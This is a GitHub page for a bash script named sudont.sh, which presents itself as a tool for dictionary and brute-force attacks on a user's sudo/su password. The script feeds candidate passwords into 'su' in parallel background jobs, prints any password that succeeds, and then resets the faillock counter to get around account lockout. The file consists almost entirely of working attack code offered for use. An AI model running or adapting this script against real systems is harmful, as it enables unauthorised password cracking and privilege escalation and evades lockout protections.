-
Notifications
You must be signed in to change notification settings - Fork 0
/
sudont.sh
executable file
·196 lines (159 loc) · 9.48 KB
/
sudont.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/bin/bash
## $$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\ $$$$$$$$\
## $$ __$$\ $$ | $$ |$$ __$$\ $$ __$$\ $$$\ $$ |$ |\__$$ __|
## $$ / \__|$$ | $$ |$$ | $$ |$$ / $$ |$$$$\ $$ |\_/ $$ |
## \$$$$$$\ $$ | $$ |$$ | $$ |$$ | $$ |$$ $$\$$ | $$ |
## \____$$\ $$ | $$ |$$ | $$ |$$ | $$ |$$ \$$$$ | $$ |
## $$\ $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ |\$$$ | $$ |
## \$$$$$$ |\$$$$$$ |$$$$$$$ | $$$$$$ |$$ | \$$ | $$ |
## \______/ \______/ \_______/ \______/ \__| \__| \__|
##
## Simple and primitive `sudo` dictionary and bruteforce attack tool. **No hash required!**
##
## Created by @turtureanu
ctrl_c() {
printf "\nGoodbye! (Unexpected!)\n"
exit 1
}
dictionary_attack() {
declare dictionary
# Ask for the path until it is valid
while [[ ! -f "$dictionary" ]]; do
printf "\n\nDictionary path?\n> "
read -r dictionary
done
printf "\n"
LINES=$(wc -l "$dictionary")
progress=0
# setting IFS is necessary in order to print outside of eval from inside the loop
IFS=$'\n'
# shellcheck disable=SC2034
while read -r line; do
progress=$((progress + 1))
echo -ne "$progress/$LINES passwords checked (checks *all* passwords)\r"
# TODO: find a way to stop the cracking after finding the password
# the trick here is that we're running all of these instances in parallel, which is quite fast
# if the `su` command returns 0 (SUCCESS) then the `echo Password` command gets executed and it prints the password used to gain access
eval 'printf "$line" | su $USER -c whoami &>/dev/null && printf "\n\n==========================\n \e[1;32mDONE! DONE! DONE!\e[0m\n==========================\n\nPassword: \e[1;31m%s\e[0m\n\n" "$line"' &# <- get a hold of this poison!
done \
<"$dictionary"
wait
}
charset=('a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' 'A' 'B' 'C' 'D' 'E' 'F' 'G' 'H' 'I' 'J' 'K' 'L' 'M' 'N' 'O' 'P' 'Q' 'R' 'S' 'T' 'U' 'V' 'W' 'X' 'Y' 'Z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '_' '+' '-' '=' '[' ']' '{' '}' $'\\' $'\'' '|' ';' ':' '"' '<' '>' ',' '.' '?')
charset_length=${#charset[@]}
dynamic_bruteforce() {
local length=$1
for ((i = 0; i < charset_length ** length; i++)); do # iterate through all possible combinations
pass=''
base=$i # a^b, where a is `charset_length` and b is `length`
# replace current character with next character
while ((base >= charset_length)); do
index=$((base % charset_length))
pass="${charset[$index]}$pass"
base=$((base / charset_length - 1))
done
pass="${charset[$base]}$pass"
printf "Cracking... %s\r" "$pass"
# setting IFS is necessary in order to print outside of eval from inside the loop
IFS=$'\n'
# TODO: find a way to stop the cracking after finding the password
# the trick here is that we're running all of these instances in parallel, which is quite fast
# if the `su` command returns 0 (SUCCESS) then the `echo Password` command gets executed and it prints the password used to gain access
eval 'printf "%s" "$pass" | su $USER -c whoami &>/dev/null && printf "\n\n==========================\n \e[1;32mDONE! DONE! DONE!\e[0m\n==========================\n\nPassword: \e[1;31m%s\e[0m\n\n" "$pass"' &# <- get a hold of this poison!
done
}
static_bruteforce() {
local length=$1
local indexes=(0)
local max_index=$((charset_length - 1))
local index=0
while [[ ${indexes[0]} -ne $max_index ]]; do # loop until the last index
local pass=""
# go to next char
for ((i = 0; i < length; i++)); do
local char_index="${indexes[$i]}"
local char="${charset[$char_index]}"
pass+="$char"
done
printf "Cracking %s\r" "$pass"
# setting IFS is necessary in order to print outside of eval from inside the loop
IFS=$'\n'
# TODO: find a way to stop the cracking after finding the password
# the trick here is that we're running all of these instances in parallel, which is quite fast
# if the `su` command returns 0 (SUCCESS) then the `echo Password` command gets executed and it prints the password used to gain access
eval 'printf "%s" "$pass" | su $USER -c whoami &>/dev/null && printf "\n\n==========================\n \e[1;32mDONE! DONE! DONE!\e[0m\n==========================\n\nPassword: \e[0;31m%s\e[0m\n\n" "$pass"' &# <- get a hold of this poison!
# increment indexes
for ((i = length - 1; i >= 0; i--)); do
local current_index="${indexes[$i]}"
if [[ $current_index -eq $max_index ]]; then # if the current index is the max index
indexes[i]=0 # reset the index to 0
else
indexes[i]=$((current_index + 1)) # else increment
break
fi
done
done
}
bruteforce_attack() {
PS3="> "
printf "\n"
select opt in "Dynamic length (scale up)" "Static length"; do
case $opt in
"Dynamic length (scale up)")
while [[ -z "$length" ]]; do
printf "\n\nMaximum password length?"
printf "\n> "
read -r length
done
dynamic_bruteforce "$length"
break
;;
"Static length")
while [[ -z "$length" ]]; do
printf "\n\nPassword length?"
printf "\n> "
read -r length
done
static_bruteforce "$length"
break
;;
esac
done
}
print_menu() {
PS3="> "
select mode in "Dictionary Attack" "Bruteforce Attack" "Exit"; do
case $mode in
"Dictionary Attack")
dictionary_attack
break
;;
"Bruteforce Attack")
bruteforce_attack
break
;;
"Exit")
break
;;
*) ;;
esac
done
}
# ==================
# SCRIPT START
# ==================
printf "\n \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\\"
printf "\n\033[31m\$\033[0m\033[31m\$\033[0m __\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m __\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m __\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m |\__\033[31m\$\033[0m\033[31m\$\033[0m __|"
printf "\n\033[31m\$\033[0m\033[31m\$\033[0m / \__|\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m / \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m |\_/ \033[31m\$\033[0m\033[31m\$\033[0m |"
printf "\n \\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m \033[31m\$\033[0m\033[31m\$\033[0m\\\\\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |"
printf "\n \____\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m \\\\\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |"
printf "\n\033[31m\$\033[0m\033[31m\$\033[0m\ \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m |\\\\\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |"
printf "\n\\\\\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m |\\\\\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m\033[31m\$\033[0m |\033[31m\$\033[0m\033[31m\$\033[0m | \\\\\033[31m\$\033[0m\033[31m\$\033[0m | \033[31m\$\033[0m\033[31m\$\033[0m |"
printf "\n \______/ \______/ \_______/ \______/ \__| \__| \__|\n\n"
set -o errexit -o noclobber -o pipefail
trap '' TSTP # ignore ctrl + z, 'cause that could be unpleasant
trap ctrl_c INT # display exit message
print_menu
# In case su limits us after we finish bruteforcing
faillock --user "$USER" --reset # reset the password attempts
printf "\nGoodbye!\n"